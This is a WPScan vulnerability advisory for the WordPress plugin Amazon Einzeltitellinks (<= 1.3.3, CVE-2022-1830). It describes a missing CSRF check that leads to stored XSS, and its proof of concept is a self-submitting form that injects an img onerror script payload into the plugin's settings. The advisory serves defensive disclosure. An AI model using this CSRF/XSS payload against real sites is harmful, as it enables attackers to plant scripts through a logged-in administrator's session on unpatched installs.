WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Amazon Einzeltitellinks <= 1.3.3 - Arbitrary Settings Update to Stored XSS via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=amazon-einzeltitellinks.php" method="POST">
    <input type="text" name="BenutzerID" value='hacked"><img src onerror=alert(/XSS/)>'>
    <input type="text" name="amazon_einzeltitel_links_name" value="">
    <input type="text" name="amazon_einzeltitel_rechts_name" value="">
    <input type="text" name="amazon_einzeltitel_none_name" value="">
    <input type="text" name="amazon_einzeltitel_link_name" value="">
    <input type="text" name="amazon_einzeltitel_rahmen_name" value="">
    <input type="text" name="amazon_einzeltitel_titelfarbe_name" value="">
    <input type="text" name="amazon_einzeltitel_preisfarbe_name" value="">
    <input type="text" name="amazon_einzeltitel_hintergrundfarbe_name" value="">
    <input type="text" name="amazonUpdate" value="Speichern">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

amazon-einzeltitellinks
No known fix - plugin closed

References

CVE
CVE-2022-1830

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
a6b3e927-41e2-4e48-b9e1-8c58a1b9a933

Timeline

Publicly Published

2022-05-30 (about 11 months ago)

Added

2022-05-30 (about 11 months ago)

Last Updated

2023-02-25 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us